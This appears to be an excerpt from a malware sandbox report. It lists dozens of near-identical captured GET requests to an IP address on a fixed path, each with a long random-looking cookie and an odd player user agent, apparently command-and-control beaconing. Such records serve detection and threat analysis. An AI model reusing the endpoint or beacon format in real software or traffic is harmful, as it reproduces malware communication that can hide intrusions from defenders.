Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=hjhzrt37E-kMz9yvv-6dznxE8MXrfzP0EXfaYykU6qmlDwTelKP1uX4yDnQ6xZPBblF2o4UUrpBFQXTzkJRf9SDmv0vshWYQDCIv9tpv7MgSJHX1tp7f28RAjUuuSDWEQr7wJc6WG_U0wldai9S3dRW28qhUKAh4RiACgsvqchezDGsDUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=qi9uTPHsDgsg2MFNk_mALFBT7SfHaC4WPWDHgQUD90uJGBk8uLToW1IlE5YW0o4jQkZrQakDs3JpVmkRvINCFwzxoqnAknvyIDUyFPZ48So-M2gXmonCOehXkKmCXyhmbqntx-KBBhcY1Uq4p8Oqlzmh70p4PxWaajcfYOf9b_WfG3bhUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=rDHxB_fykUAmxl4GlecfZ1ZNcmzBdrFdO35YygMdaACPBoZ3vqp3EFQ7jN0QzBFoRFj0Cq8dLDlvSPZaup3dXArvPeLGjOS5JiutX_BmbmE4LfdcnJddcu5JD-KEQbctaLdyjOSfmVwey9Xzod013D-_cAF-IYrRbCmAK-Hj8L6ZBemqUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=4y3vs7juj_Rp2kCy2vsB0xlRbNiOaq_pdGJGfkwBdrTAGpjD8bZppBsnkmlf0A_cC0TqvuABMo0gVOju9YHD6EXzI1aJkPoNaTez6796cNV3Meno04tDxqFVEVbLXamZJ6tsOKuDh-hR18tH7sEraHCjbrUxPZRlIzWen67_7grWGfceUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=9VQvTa6XTwp_o4BMzILBLQ8orCaYE28XYhuGgFp4tkrWY1g958-pWg1eUpdJqc8iHT0qQPZ48nM2LSgQ4_gDFlOK46if6Trzf05zFakDsCthSCkWxfKDOLcs0ajdJGlnMdKsxr36RxZHrgu5-LjrlmbarksnRFSbNUxeYbiGLvTAYDfgUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=sdaLaeoV6y47ISRoiABlCUuqCALckcszJpkipB76Em6S4fwZo00Nfknc9rMNK2sGWb-OZLL6Vldyr4w0p3qnMhcIR4zba57XO8zXMe2BFA8lyo0ygXAnHPOudYyZps1DdVAI4vl44zIDLK-dvDpPsiJYCm9jxvC_cc76RfwEitCE4pPEUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=58cD_7wEY7htMKz-3hHtnx27gJSKgEOlcIiqMkjrmvjE8HSP9VyF6B_NfiVbOuOQD64G8uTr3sEkvgSi8WsvpEEZzxqNehZBbd1fp7uQnJlz2wWk12GviqW__RrPt0XVI0GAdK9pa6RVPScL6ivHJHRJgvk113gpJ99y06oVAkbS8xtSUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=vKkMkudqbNU2XqOThX_i8kbVj_nR7kzIK-alXxOFlZWfnnvirjKKhUSjcUgAVOz9VMAJn7-F0ax_0AvPqgUgyRp3wHfWFBksNrNQyuD-k_QotQrJjA-g5_7R8neU2Uq4eC-PGfQHZMkOUyhmsUXISS8njZRuuXdEfLF9vvF7DSuJnRQ_User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=WiTjrAHng-vQ00ytY_INzKBYYMc3Y6P2zWtKYfUIeqt5E5TcSL9lu6Iunnbm2QPDsk3moVkIPpKZXeTxTIjP9_z6L0kwmfYS0D6_9AZzfMrOOOX3aoJP2RhcHUlyVKWGnqJgJxKKi_fo3sdYV8gnd8mqYqqINJh6mjySgBf24hVvEPsBUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=vCrvTefpjwo23UBMhfwBLUZWbCbRba8XK2VGgBMGdkqfHZg9rrFpWkQgkpcA1w8iVEPqQL8GMnN_U-gQqobDFhr0I6jWl_rzNjCzFeB9cCsoNukWjIxDOP5SEaiUWqlneKxsxvSEhxYO0Mu5scYrli-kbktuOpSbfDKeYfH47vSJHvfgUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=JT3SV37-shCvyn1WHOs8N99BUTxIepINsnJ7mooRS1AGCqUnN6ZUQN03r42ZwDI4zVTXWiYRD2nmRNUKM5H-DIPjHrJPgMfpryeOD3lqTTGxIdQMFZt-ImdFLLINTZR94btR3G2TugyXx_ajKNEWjLazU1H3LamB5SWje2jv0-4QCcr6User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=XxisEATbzFfV7wMRZs5CcKVkL3syX-xKyFcF3fA0NRd8L9tgTYMqB6cS0crj5Ux_t3GpHVw0cS6cYatNSbSAS_nGYPU1pbmu1QLwSANPM3bLBKpLb74AZR1gUvV3aOo6m54vmxe2xEvt4ojkUvRoy8yWLRaNCNfGnwDdPBLKralqLLS9User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=e4PiVSBAghLxdE1UQlUMNYH_YT4WxKIP7MxLmNSve1JYtJUlaRhkQoOJn4_HfgI6k-rnWHivP2u4-uUIbS_ODt1dLrARPvfr8Zm-DSfUfTPvn-QOSyVOIDn7HLBT86R_vwVh3jMtig7Jecahdm8mjugNY1Opk5mDu5uTeTZR4-xOt_r4User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=jSWUkNbm9NcH0juRtPN68HdZF_vgYtTKGmo9XSIJDZeuEuPgn74Sh3Uv6Uox2HT_ZUyRnY4JSa5OXJPNm4m4yyv7WHXnmIEuBz_IyNFyC_YZOZLLvYM45c9danWlVdK6SaMXG8WL_Ms_37BkgMlQSx6rFZZfNe9GTT3lvMD3lSm4EYw9User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=p4PoP_xAiHgtdEc-nlUGX13_a1TKxKhlMMxB8givcTiEtJ9PtRhuKF-JleUbfghQT-rtMqSvNQFk-u9isS_EZAFdJNrNPv2BLZm0Z_vUd1kzn-5klyVESuX7FtqP864VYwVrtO8tgGQVeczLqm8s5DQNaTl1k5PpZ5uZE-pR6YaSt_CSUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=wXhlEZq7BVZLj8oQ-K6LcTsE5nqsPyVLVjfM3G5U_BbiTxJh0-PjBjlyGMt9hYV-KRFgHMJUuC8CAWJM19RJSmemqfSrxXCvS2I5SZ0v-ndVZGNK8d7JZIMAm_TpCCM7Bf7mmonWDUpzgkHlzJShylL25BcTaB7HAWAUPYyqZKj0TH28User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=y5G7l5BS29BBZhSW8kdV9zHtOPym1vvNXN4SWmS9IpDopszn2Qo9gDObxk13bFv4I_i-msi9ZqkI6LzK3T2XzG1Pd3KhLK4pQYvnz5fGJPFfjb3M-zcX4onpRXLj4f29Dxc4HIM_08x5a59jxn1_TFgfOpEZgcBBC4nKu4ZDui7-paM6User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=KN_WUnMcthWiKHlTEQk4MtKjVTlFmJYIv5B_n4fzT1UL6KEiOkRQRdDVq4iUIjY9wLbTXyvzC2zrptEPPnP6CY4BGrdCYsPsosWKCnSISTS8w9AJGHl6J2qnKLcAr5B47FlV2WBxvgmaJfKmJTMSibtRV1T6z62E6MenfmUN1-sd687_User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=WMs_ugMIX_3SPJC7YR3R2qK3vNE1jH_gz4SWd_fnpr17_EjKSlC5raDBQmDkNt_VsKI6t1vn4oSbsjjnTmcT4f4V818ydioE0tFj4gScoNzM1znhaG2TzxqzwV9wu3mQnE28MRBlV-HqMRtOVSf7YctFvryK20RsmNNOlhUZPgNt_ycXUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=iOS7ktMn29UCExSTsTJV8nKYOPnlo_vIH6sSXyfIIpWr08zimn89hXDuxkg0GVv9YI2-n4vIZqxLnbzPnkiXyS46d3fiWa4sAv7nytSzJPQc-L3JuEIX58qcRXeglP24TGI4GcBK08k6Hp9mhQh_SRtqOpRa9MBESPzKvsU2uiu90KM_User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=7gVREbXGMVZk8v4Q19O_cRR50nqDQhFLeUr43EEpyBbNMiZh_J7XBhYPLMtS-LF-BmxUHO0pjC8tfFZM-Kl9SkjbnfSEuESvZB8NSbJSznd6GVdK3qP9ZKx9r_TGdRc7KoPSmqarOUpc_3Xl4-mVyn2L0Bc8FSrHLh0gPaPXUKjbMUm8User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=8v-7mak82954CBSYyylV-QiDOPKfuPvDZbASVF3TIp7RyMzp4GQ9jgr1xkNOAlv2Gpa-lPHTZqcxhrzE5FOXwlQhd3yYQq4neOXnwa6oJP9m473CwlkX7LCHRXzaj_2zNnk4ErpR08JABZ9t_xN_QmFxOp8g78BPMufKtb8tuiDHy6M0User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=gTFVt9ryNfALxvq2uOe713tN1tzsdhXtFn78ei4dzLCiBiLHk6rToHk7KG09zLXYaVhQuoIdiIlCSFLql5157CfvmVLrjEAJCysJ791mytEVLVPssZf5wsNJq1KpQROdRbfWPMmfPewzy3FDjN2RbBK_1LFTIS5hQSkkm8zjVA60BU0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=RME0Rx8CVADONptGfRfaJ769tywphnQd046diuvtrUBn9kM3VlqyULzLSZ34PNQorKgxSkft6XmHuDMaUm0YHOIf-KIufCH5zttoHxiWqyHQ3TIcdGeYMga5yqJssXJtgEe3zAxvXBz2OxCzSS3wnNdPtUGW0U-RhNlFawkTNf5x9SzqUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=I6OwSnhg0A2pVB9LGnVeKtnfMyFO5PAQtOwZh4yPKU0AlMc6MTg2XdupzZCfXlAly8q1RyCPbXTg2rcXNQ-cEYV9fK9JHqX0qbnsEn_0Lyy3v7YREwUcP2HbTq8L0_Zg5yUzwWsN2BGRWZS-Lk90kbAtMUzxs8uc47vBZm5xsfMWl6jnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=IYMPFXpAb1KrdKAUGFXhddv_jH5MxE9Ptsym2I6vlhICtHhlMxiJAtmJcs-dfu96yeoKGCKv0ivi-ghINy8jToddw_BLPhqrq5lTTX3UkHO1nwlOESWjYGP78fAJ80k_5QWMnmktZ06TeSvhLG_LzrINjhPzk3TD4Zt-OWxRDqwUtxe4User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=QWoFBhqpZUHLnaoHeLzrZrsWhm0sLUVc1iWsy-5GnAFiXXJ2U_GDEblgeNz9l-VpqQMAC0JG2DiCEwJbV8YpXee0yeMr1xC4y3BZXh09mmDVdgNdccypcwMS--NpGkMsheyGjQnEbV3zkCHyTIbB3dLkhACTen7QgXJ0Kgy4BL90Xh2rUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=f65y9SRtErL1Wd30RniclYXS8Z4S6TKv6OHbONCC6_JcmQWFbTX04oekDy_DU5Kal8d3-HyCr8u813WoaQJertlwvhAVE2dL9bQurSP57ZPrsnSuTwjegD3WjBBX3jTfuyjxfjcAGq7NVFYBckK2Luwg8_Otvgkjv7YD2TJ8c0xKmmpYUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=oxFB8fjSIbYp5u7wmsevkVltwprOVgGrNF7oPAw92PaAJjaBsYrH5lsbPCsf7KGeS3hE_KA9nM9gaEastb1tqgXPjRTJrFRPKQsdqf9G3pc3DUeqk7fthOFpvxSLYQfbZ5fCeuu_KaoR62UFrv2FKjCfwPdxATonYwkw3e7DQEiWJVlcUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=4x301rjelJFp6lvX2ssathlhd72OWrSMdFJdG0wxbdHAKoOm8YZywRsXiQxf4BS5C3Tx2-AxKeggZPOL9bHYjUXDODOJoOFoaQeojr9Ka7B3AfKN07tYo6FlCjPLbbL8J5t3XauznI1R59Ai7vEwDXCTddAxDY8AIwWF-q7P9W_WKex7User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=icNVz9IANYgDNPrOsBW7r3O_1qTkhBWVHoz8AibvzMiq9CK_m1jT2HHJKBU1PrWgYapQworviPFKulKSn295lC8dmSrjfkBxA9kJl9WUyqkd31OUuWX5usu7qyqhsxPlTUXWRMFtPZQ7OXE7hC-RFBpN1Mlb0y4ZSdsk48QRVHa8901iUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Xo9HoAVMJ-fUeOihZ1mpwKTzxMszyAf6ycDubfGj3qd9uDDQTBTBt6aFOnricqfPtuZCrV2jmp6d9kD9SCNr-_hRi0U0MlIe1JUb-ALY2MbKk0H7binr1Rz3uUV2_wGKmgnEKxYhL_vsdWNUU2ODe80BxqaMnzx2npc2jBNdRhlru18NUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=7GyLA7ev60RmmyQC1bplYxYQCGiBK8tZeyMizkNAEgTPW_xz_vcNFBRm9tlQkWtsBAWODu9AVj0vFYxe-sCnWEqyR-aG0Z69ZnbXW7A7FGV4cI1Y3Mondq4UdebEHM0pKOoIiKTC41helq_34YBP2H_iCgU-fPDVLHT6L6G-irrZWJOuUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=c8quLigJzmn5PQEvShxATom2LUUeje505IUH49zmNylQ_dleYVEoOYvA0_TPN05Bm6OrI3DmcxCws6lzZWaCddUUYssZd7uQ-dDydi-dMUjn1qh1Q2wCWzGyUMtbuugEt0wtpTtkxnXBMIrafiZq9eBELyih2tX4s9LfAj4Yr5dG_raDUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=x33EXpy-pBlNimtf_qsqPj0BRzWqOoQEUDJtk2hRXVnkSrMu1eZCST93uYR7gCQxLxTBU8RRGWAEBMMD0dHoBWGjCLutwNHgTWeYBpsqWzhTYcIF99toK4UFOrvvDYJ0A_tH1Y_TrAV1h-CqypEAhVTzRVgVbb-IB2W1coqvxefySdzzUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=QbCGxBpz5oPLRynFeGZopLvMBa8s98ae1v8vCe6cH8Nih_G0UysA07m6-x79TWarqdmDyUKcW_qCyYGZVxyqn-duSiErDZN6y6ranB3nGaLVrICfcRYqsQPIeCFpwMDuhTYFTwke7p_zSqIwTFxCH9I-B8KToP0Sgaj36Axih310hJ5pUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=RYprCR5JC07PfcQIfFyFab_26GIozStT0sXCxOqm8g5mvRx5VxHtHr2AFtP5d4tmreNuBEamtjeG82xUUyZHUuNUp-wvN363z5A3URnd9G_Rlm1SdSzHfAfylext-i0jgQzogg0kA1L3cE_9SGav0tYE6g-XmhDfhZIaJQhYarBwvnOkUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=IL-y6Ht80q-qSB3pGWlciNrDMYNN-PKyt_AbJY-TK-8DiMWYMiQ0_9i1zzKcQlKHyNa35SOTb9bjxrW1NhOes4Zhfg1KAqdWqqXusHzoLY60o7SzEBkenWLHTA0Iz_TC5DkxY2gR2rOSRZYcLVN2M7MxM-7yr8k-4KfDxG1ts1EVi6pFUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
